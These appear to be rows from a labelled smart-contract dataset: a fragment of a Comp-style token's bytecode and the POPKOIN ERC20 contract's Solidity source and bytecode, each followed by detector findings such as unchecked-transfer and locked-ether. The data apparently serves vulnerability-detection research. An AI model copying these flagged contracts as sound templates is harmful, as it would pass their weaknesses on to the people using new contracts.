008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550611f40600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff168260405180606001604052806030815260200161423e60309139612707565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161200a9190613885565b60405180910390a36120db600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612786565b505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905082600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a461229a828483612786565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612310576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230790613771565b60405180910390fd5b61231982612682565b806bffffffffffffffffffffffff16600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff1610156123cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123c690613671565b60405180910390fd5b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282829054906101000a90046bffffffffffffffffffffffff166124359190613b8b565b92506101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550806000808282546124749190613b23565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124d991906137b1565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254c90613791565b60405180910390fd5b61255f6000612682565b806000808282546125709190613995565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282829054906101000a90046bffffffffffffffffffffffff166125dd9190613a25565b92506101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161266991906137b1565b60405180910390a35050565b6000804690508091505090565b42600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115612704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126fb90613731565b60405180910390fd5b50565b60008083856127169190613a25565b9050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff161015839061277a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612771919061364f565b60405180910390fd5b50809150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156127d057506000816bffffffffffffffffffffffff16115b15612a8e57600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612931576000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116128735760006128f8565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001846128c19190613b57565b63ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b9050600061291f828560405180606001604052806028815260200161421660289139611c7c565b905061292d86848484612a93565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612a8d576000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116129cf576000612a54565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184612a1d9190613b57565b63ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000612a7b82856040518060600160405280602781526020016142ab60279139612707565b9050612a8985848484612a93565b5050505b5b505050565b6000612ab7436040518060600160405280603481526020016141e260349139612da1565b905060008463ffffffff16118015612b5557508063ffffffff16600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600187612b1f9190613b57565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15612bf95781600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600187612ba99190613b57565b63ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550612d4a565b60405180604001604052808263ffffffff168152602001836bffffffffffffffffffffffff16815250600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550905050600184612cec91906139eb565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051612d929291906138bb565b60405180910390a25050505050565b600064010000000083108290612ded576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612de4919061364f565b60405180910390fd5b5082905092915050565b6000612e0a612e0584613909565b6138e4565b90508083825260208201905082856020860282011115612e2957600080fd5b60005b85811015612e595781612e3f8882612ee1565b845260208401935060208301925050600181019050612e2c565b5050509392505050565b600081359050612e72816140d6565b92915050565b600082601f830112612e8957600080fd5b8151612e99848260208601612df7565b91505092915050565b600081519050612eb1816140ed565b92915050565b600081359050612ec681614104565b92915050565b600081359050612edb8161411b565b92915050565b600081519050612ef08161411b565b92915050565b600081359050612f0581614132565b92915050565b600081359050612f1a81614149565b92915050565b600060208284031215612f3257600080fd5b6000612f4084828501612e63565b91505092915050565b60008060408385031215612f5c57600080fd5b6000612f6a85828601612e63565b9250506020612f7b85828601612e63565b9150509250929050565b600080600060608486031215612f9a57600080fd5b6000612fa886828701612e63565b9350506020612fb986828701612e63565b9250506040612fca86828701612ecc565b9150509250925092565b60008060408385031215612fe757600080fd5b6000612ff585828601612e63565b925050602061300685828601612ecc565b9150509250929050565b60008060008060008060c0878903121561302957600080fd5b600061303789828a01612e63565b965050602061304889828a01612ecc565b955050604061305989828a01612ecc565b945050606061306a89828a01612f0b565b935050608061307b89828a01612eb7565b92505060a061308c89828a01612eb7565b9150509295509295509295565b600080604083850312156130ac57600080fd5b60006130ba85828601612e63565b92505060206130cb85828601612ef6565b9150509250929050565b6000602082840312156130e757600080fd5b600082015167ffffffffffffffff81111561310157600080fd5b61310d84828501612e78565b91505092915050565b60006020828403121561312857600080fd5b600061313684828501612ea2565b91505092915050565b60006020828403121561315157600080fd5b600061315f84828501612ecc565b91505092915050565b60006020828403121561317a57600080fd5b600061318884828501612ee1565b91505092915050565b600061319d83836131a9565b60208301905092915050565b6131b281613bbf565b82525050565b6131c181613bbf565b82525050565b60006131d282613945565b6131dc8185613968565b93506131e783613935565b8060005b838110156132185781516131ff8882613191565b975061320a8361395b565b9250506001810190506131eb565b5085935050505092915050565b61322e81613bd1565b82525050565b61323d81613bdd565b82525050565b61325461324f82613bdd565b613d3b565b82525050565b61326381613c46565b82525050565b61327281613c6a565b82525050565b600061328382613950565b61328d8185613979565b935061329d818560208601613c8e565b6132a681613dd2565b840191505092915050565b60006132be602283613979565b91506132c982613de3565b604082019050919050565b60006132e1602683613979565b91506132ec82613e32565b604082019050919050565b6000613304602683613979565b915061330f82613e81565b604082019050919050565b600061332760028361398a565b915061333282613ed0565b600282019050919050565b600061334a602783613979565b915061335582613ef9565b604082019050919050565b600061336d602283613979565b915061337882613f48565b604082019050919050565b6000613390603a83613979565b915061339b82613f97565b604082019050919050565b60006133b3601f83613979565b91506133be82613fe6565b602082019050919050565b60006133d6603c83613979565b91506133e18261400f565b604082019050919050565b60006133f9602183613979565b91506134048261405e565b604082019050919050565b600061341c601f83613979565b9150613427826140ad565b602082019050919050565b61343b81613c07565b82525050565b61344a81613c11565b82525050565b61345981613c21565b82525050565b61346881613c7c565b82525050565b61347781613c2e565b82525050565b60006134888261331a565b91506134948285613243565b6020820191506134a48284613243565b6020820191508190509392505050565b60006020820190506134c960008301846131b8565b92915050565b60006060820190506134e460008301866131b8565b6134f160208301856131b8565b6134fe6040830184613432565b949350505050565b600060408201905061351b60008301856131b8565b6135286020830184613432565b9392505050565b60006020820190506135446000830184613225565b92915050565b600060208201905061355f6000830184613234565b92915050565b600060808201905061357a6000830187613234565b61358760208301866131b8565b6135946040830185613432565b6135a16060830184613432565b95945050505050565b60006080820190506135bf6000830187613234565b6135cc6020830186613234565b6135d96040830185613432565b6135e660608301846131b8565b95945050505050565b60006080820190506136046000830187613234565b6136116020830186613450565b61361e6040830185613234565b61362b6060830184613234565b95945050505050565b6000602082019050613649600083018461325a565b92915050565b600060208201905081810360008301526136698184613278565b905092915050565b6000602082019050818103600083015261368a816132b1565b9050919050565b600060208201905081810360008301526136aa816132d4565b9050919050565b600060208201905081810360008301526136ca816132f7565b9050919050565b600060208201905081810360008301526136ea8161333d565b9050919050565b6000602082019050818103600083015261370a81613360565b9050919050565b6000602082019050818103600083015261372a81613383565b9050919050565b6000602082019050818103600083015261374a816133a6565b9050919050565b6000602082019050818103600083015261376a816133c9565b9050919050565b6000602082019050818103600083015261378a816133ec565b9050919050565b600060208201905081810360008301526137aa8161340f565b9050919050565b60006020820190506137c66000830184613432565b92915050565b600060a0820190506137e16000830188613432565b6137ee6020830187613269565b818103604083015261380081866131c7565b905061380f60608301856131b8565b61381c6080830184613432565b9695505050505050565b600060208201905061383b6000830184613441565b92915050565b60006040820190506138566000830185613441565b613863602083018461346e565b9392505050565b600060208201905061387f6000830184613450565b92915050565b600060208201905061389a600083018461345f565b92915050565b60006020820190506138b5600083018461346e565b92915050565b60006040820190506138d0600083018561345f565b6138dd602083018461345f565b9392505050565b60006138ee6138ff565b90506138fa8282613cc1565b919050565b6000604051905090565b600067ffffffffffffffff82111561392457613923613da3565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b60006139a082613c07565b91506139ab83613c07565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156139e0576139df613d45565b5b828201905092915050565b60006139f682613c11565b9150613a0183613c11565b92508263ffffffff03821115613a1a57613a19613d45565b5b828201905092915050565b6000613a3082613c2e565b9150613a3b83613c2e565b9250826bffffffffffffffffffffffff03821115613a5c57613a5b613d45565b5b828201905092915050565b6000613a7282613c07565b9150613a7d83613c07565b925082613a8d57613a8c613d74565b5b828204905092915050565b6000613aa382613c11565b9150613aae83613c11565b925082613abe57613abd613d74565b5b828204905092915050565b6000613ad482613c07565b9150613adf83613c07565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613b1857613b17613d45565b5b828202905092915050565b6000613b2e82613c07565b9150613b3983613c07565b925082821015613b4c57613b4b613d45565b5b828203905092915050565b6000613b6282613c11565b9150613b6d83613c11565b925082821015613b8057613b7f613d45565b5b828203905092915050565b6000613b9682613c2e565b9150613ba183613c2e565b925082821015613bb457613bb3613d45565b5b828203905092915050565b6000613bca82613be7565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b6000613c5182613c58565b9050919050565b6000613c6382613be7565b9050919050565b6000613c7582613c07565b9050919050565b6000613c8782613c2e565b9050919050565b60005b83811015613cac578082015181840152602081019050613c91565b83811115613cbb576000848401525b50505050565b613cca82613dd2565b810181811067ffffffffffffffff82111715613ce957613ce8613da3565b5b80604052505050565b6000613cfd82613c07565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613d3057613d2f613d45565b5b600182019050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f436f6d703a3a64656c656761746542795369673a20696e76616c69642073696760008201527f6e61747572650000000000000000000000000000000000000000000000000000602082015250565b7f436f6d703a3a64656c656761746542795369673a207369676e6174757265206560008201527f7870697265640000000000000000000000000000000000000000000000000000602082015250565b7f1901000000000000000000000000000000000000000000000000000000000000600082015250565b7f436f6d703a3a6765745072696f72566f7465733a206e6f74207965742064657460008201527f65726d696e656400000000000000000000000000000000000000000000000000602082015250565b7f436f6d703a3a64656c656761746542795369673a20696e76616c6964206e6f6e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f436f6d703a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008201527f616e7366657220746f20746865207a65726f2061646472657373000000000000602082015250565b7f7472616e736665723a746f6f20736f6f6e206166746572206d696e74696e6700600082015250565b7f436f6d703a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008201527f616e736665722066726f6d20746865207a65726f206164647265737300000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6140df81613bbf565b81146140ea57600080fd5b50565b6140f681613bd1565b811461410157600080fd5b50565b61410d81613bdd565b811461411857600080fd5b50565b61412481613c07565b811461412f57600080fd5b50565b61413b81613c11565b811461414657600080fd5b50565b61415281613c21565b811461415d57600080fd5b5056fe436f6d703a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365436f6d703a3a617070726f76653a20616d6f756e7420657863656564732039362062697473436f6d703a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473436f6d703a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473436f6d703a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773436f6d703a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773436f6d703a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365436f6d703a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773a2646970667358221220e625585c342c236fd6729680a390d4c2e319a15578c25d2e21a5dff51efd073164736f6c63430008010033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,541
0xd7d11099792b6bf5ee8db04813680147f8b831df
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; newOwner = address(0); } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyNewOwner() { require(msg.sender != address(0)); require(msg.sender == newOwner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); newOwner = _newOwner; } function acceptOwnership() public onlyNewOwner returns(bool) { emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function allowance(address owner, address spender) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } contract POPKOIN is ERC20, Ownable { using SafeMath for uint256; string public name; string public symbol; uint8 public decimals; uint256 internal initialSupply; uint256 internal _totalSupply; uint256 internal LOCKUP_TERM = 6 * 30 * 24 * 3600; mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowed; mapping(address => uint256) internal _lockupBalances; mapping(address => uint256) internal _lockupExpireTime; function POPKOIN() public { name = "POPKOIN"; symbol = "POPK"; decimals = 18; //Total Supply 2,000,000,000 initialSupply = 2000000000; _totalSupply = initialSupply * 10 ** uint(decimals); _balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_to != address(this)); require(msg.sender != address(0)); require(_value <= _balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. _balances[msg.sender] = _balances[msg.sender].sub(_value); _balances[_to] = _balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _holder The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _holder) public view returns (uint256 balance) { return _balances[_holder].add(_lockupBalances[_holder]); } /** * @dev Gets the locked balance of the specified address. * @param _holder The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function lockupBalanceOf(address _holder) public view returns (uint256 balance) { return _lockupBalances[_holder]; } /** * @dev Gets the unlocked time of the specified address. * @param _holder The address to query the the balance of. * @return An uint256 representing the Locktime owned by the passed address. */ function unlockTimeOf(address _holder) public view returns (uint256 lockTime) { return _lockupExpireTime[_holder]; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_from != address(0)); require(_to != address(0)); require(_to != address(this)); require(_value <= _balances[_from]); require(_value <= _allowed[_from][msg.sender]); _balances[_from] = _balances[_from].sub(_value); _balances[_to] = _balances[_to].add(_value); _allowed[_from][msg.sender] = _allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { require(_value > 0); _allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _holder address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _holder, address _spender) public view returns (uint256) { return _allowed[_holder][_spender]; } /** * @dev Do not allow contracts to accept Ether. */ function () public payable { revert(); } /** * @dev The Owner destroys his own token. * @param _value uint256 The quantity that needs to be destroyed. */ function burn(uint256 _value) public onlyOwner returns (bool success) { require(_value <= _balances[msg.sender]); address burner = msg.sender; _balances[burner] = _balances[burner].sub(_value); _totalSupply = _totalSupply.sub(_value); return true; } /** * @dev Function is used to distribute tokens and confirm the lock time. * @param _to address The address which you want to transfer to * @param _value uint256 The amount of tokens to be transferred * @param _lockupRate uint256 The proportion of tokens that are expected to be locked. * @notice If you lock 50%, the lockout time is six months. * If you lock 100%, the lockout time is one year. */ function distribute(address _to, uint256 _value, uint256 _lockupRate) public onlyOwner returns (bool) { require(_to != address(0)); require(_to != address(this)); //Do not allow multiple distributions of the same address. Avoid locking time reset. require(_lockupBalances[_to] == 0); require(_value <= _balances[owner]); require(_lockupRate == 50 || _lockupRate == 100); _balances[owner] = _balances[owner].sub(_value); uint256 lockupValue = _value.mul(_lockupRate).div(100); uint256 givenValue = _value.sub(lockupValue); uint256 ExpireTime = now + LOCKUP_TERM; //six months if (_lockupRate == 100) { ExpireTime += LOCKUP_TERM; //one year. } _balances[_to] = _balances[_to].add(givenValue); _lockupBalances[_to] = _lockupBalances[_to].add(lockupValue); _lockupExpireTime[_to] = ExpireTime; emit Transfer(owner, _to, _value); return true; } /** * @dev When the lock time expires, the user unlocks his own token. */ function unlock() public returns(bool) { address tokenHolder = msg.sender; require(_lockupBalances[tokenHolder] > 0); require(_lockupExpireTime[tokenHolder] <= now); uint256 value = _lockupBalances[tokenHolder]; _balances[tokenHolder] = _balances[tokenHolder].add(value); _lockupBalances[tokenHolder] = 0; return true; } /** * @dev The new owner accepts the contract transfer request. */ function acceptOwnership() public onlyNewOwner returns(bool) { uint256 ownerAmount = _balances[owner]; _balances[owner] = _balances[owner].sub(ownerAmount); _balances[newOwner] = _balances[newOwner].add(ownerAmount); emit Transfer(owner, newOwner, ownerAmount); owner = newOwner; newOwner = address(0); emit OwnershipTransferred(owner, newOwner); return true; } }
0x6060604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610100578063095ea7b31461018a57806318160ddd146101c057806323b872dd146101e5578063313ce5671461020d57806342966c6814610236578063469a69471461024c5780634728537c1461026b57806370a082311461028a57806379ba5097146102a95780638da5cb5b146102bc57806395d89b41146102eb578063a69df4b5146102fe578063a9059cbb14610311578063d4ee1d9014610333578063dd62ed3e14610346578063e2c92a521461036b578063f2fde38b14610390575b600080fd5b341561010b57600080fd5b6101136103b1565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561014f578082015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019557600080fd5b6101ac600160a060020a036004351660243561044f565b604051901515815260200160405180910390f35b34156101cb57600080fd5b6101d36104c6565b60405190815260200160405180910390f35b34156101f057600080fd5b6101ac600160a060020a03600435811690602435166044356104cc565b341561021857600080fd5b610220610672565b60405160ff909116815260200160405180910390f35b341561024157600080fd5b6101ac60043561067b565b341561025757600080fd5b6101d3600160a060020a036004351661071b565b341561027657600080fd5b6101d3600160a060020a0360043516610736565b341561029557600080fd5b6101d3600160a060020a0360043516610751565b34156102b457600080fd5b6101ac61078a565b34156102c757600080fd5b6102cf6108d9565b604051600160a060020a03909116815260200160405180910390f35b34156102f657600080fd5b6101136108e8565b341561030957600080fd5b6101ac610953565b341561031c57600080fd5b6101ac600160a060020a0360043516602435610a0a565b341561033e57600080fd5b6102cf610b29565b341561035157600080fd5b6101d3600160a060020a0360043581169060243516610b38565b341561037657600080fd5b6101ac600160a060020a0360043516602435604435610b63565b341561039b57600080fd5b6103af600160a060020a0360043516610d65565b005b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104475780601f1061041c57610100808354040283529160200191610447565b820191906000526020600020905b81548152906001019060200180831161042a57829003601f168201915b505050505081565b600080821161045d57600080fd5b600160a060020a03338116600081815260096020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60065490565b6000600160a060020a03841615156104e357600080fd5b600160a060020a03831615156104f857600080fd5b30600160a060020a031683600160a060020a03161415151561051957600080fd5b600160a060020a03841660009081526008602052604090205482111561053e57600080fd5b600160a060020a038085166000908152600960209081526040808320339094168352929052205482111561057157600080fd5b600160a060020a03841660009081526008602052604090205461059a908363ffffffff610dc416565b600160a060020a0380861660009081526008602052604080822093909355908516815220546105cf908363ffffffff610dd616565b600160a060020a03808516600090815260086020908152604080832094909455878316825260098152838220339093168252919091522054610617908363ffffffff610dc416565b600160a060020a0380861660008181526009602090815260408083203386168452909152908190209390935590851691600080516020610e338339815191529085905190815260200160405180910390a35060019392505050565b60045460ff1681565b60008054819033600160a060020a0390811691161461069957600080fd5b600160a060020a0333166000908152600860205260409020548311156106be57600080fd5b5033600160a060020a0381166000908152600860205260409020546106e39084610dc4565b600160a060020a03821660009081526008602052604090205560065461070f908463ffffffff610dc416565b60065550600192915050565b600160a060020a03166000908152600b602052604090205490565b600160a060020a03166000908152600a602052604090205490565b600160a060020a0381166000908152600a602090815260408083205460089092528220546107849163ffffffff610dd616565b92915050565b60008033600160a060020a031615156107a257600080fd5b60015433600160a060020a039081169116146107bd57600080fd5b5060008054600160a060020a03168152600860205260409020546107e7818063ffffffff610dc416565b60008054600160a060020a0390811682526008602052604080832093909355600154168152205461081e908263ffffffff610dd616565b60018054600160a060020a03908116600090815260086020526040808220949094559154915491811692911690600080516020610e338339815191529084905190815260200160405180910390a36001805460008054600160a060020a0380841673ffffffffffffffffffffffffffffffffffffffff19928316178084559190931690935591167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600191505090565b600054600160a060020a031681565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104475780601f1061041c57610100808354040283529160200191610447565b33600160a060020a0381166000908152600a6020526040812054909190829081901161097e57600080fd5b600160a060020a0382166000908152600b6020526040902054429011156109a457600080fd5b50600160a060020a0381166000908152600a60209081526040808320546008909252909120546109da908263ffffffff610dd616565b600160a060020a038316600090815260086020908152604080832093909355600a90529081205560019250505090565b6000600160a060020a0383161515610a2157600080fd5b30600160a060020a031683600160a060020a031614151515610a4257600080fd5b33600160a060020a03161515610a5757600080fd5b600160a060020a033316600090815260086020526040902054821115610a7c57600080fd5b600160a060020a033316600090815260086020526040902054610aa5908363ffffffff610dc416565b600160a060020a033381166000908152600860205260408082209390935590851681522054610ada908363ffffffff610dd616565b600160a060020a038085166000818152600860205260409081902093909355913390911690600080516020610e338339815191529085905190815260200160405180910390a350600192915050565b600154600160a060020a031681565b600160a060020a03918216600090815260096020908152604080832093909416825291909152205490565b6000805481908190819033600160a060020a03908116911614610b8557600080fd5b600160a060020a0387161515610b9a57600080fd5b30600160a060020a031687600160a060020a031614151515610bbb57600080fd5b600160a060020a0387166000908152600a602052604090205415610bde57600080fd5b60008054600160a060020a0316815260086020526040902054861115610c0357600080fd5b8460321480610c125750846064145b1515610c1d57600080fd5b60008054600160a060020a0316815260086020526040902054610c46908763ffffffff610dc416565b60008054600160a060020a0316815260086020526040902055610c806064610c74888863ffffffff610df016565b9063ffffffff610e1b16565b9250610c92868463ffffffff610dc416565b9150600754420190508460641415610ca957600754015b600160a060020a038716600090815260086020526040902054610cd2908363ffffffff610dd616565b600160a060020a038816600090815260086020908152604080832093909355600a90522054610d07908463ffffffff610dd616565b600160a060020a038089166000818152600a6020908152604080832095909555600b9052838120859055549092911690600080516020610e338339815191529089905190815260200160405180910390a35060019695505050505050565b60005433600160a060020a03908116911614610d8057600080fd5b600160a060020a0381161515610d9557600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610dd057fe5b50900390565b600082820183811015610de557fe5b8091505b5092915050565b600080831515610e035760009150610de9565b50828202828482811515610e1357fe5b0414610de557fe5b6000808284811515610e2957fe5b049493505050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820dd161971907fd9681d16aa9e3692214b5d922b3b67c9881c1f3751a6bdcc0f940029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
2,542
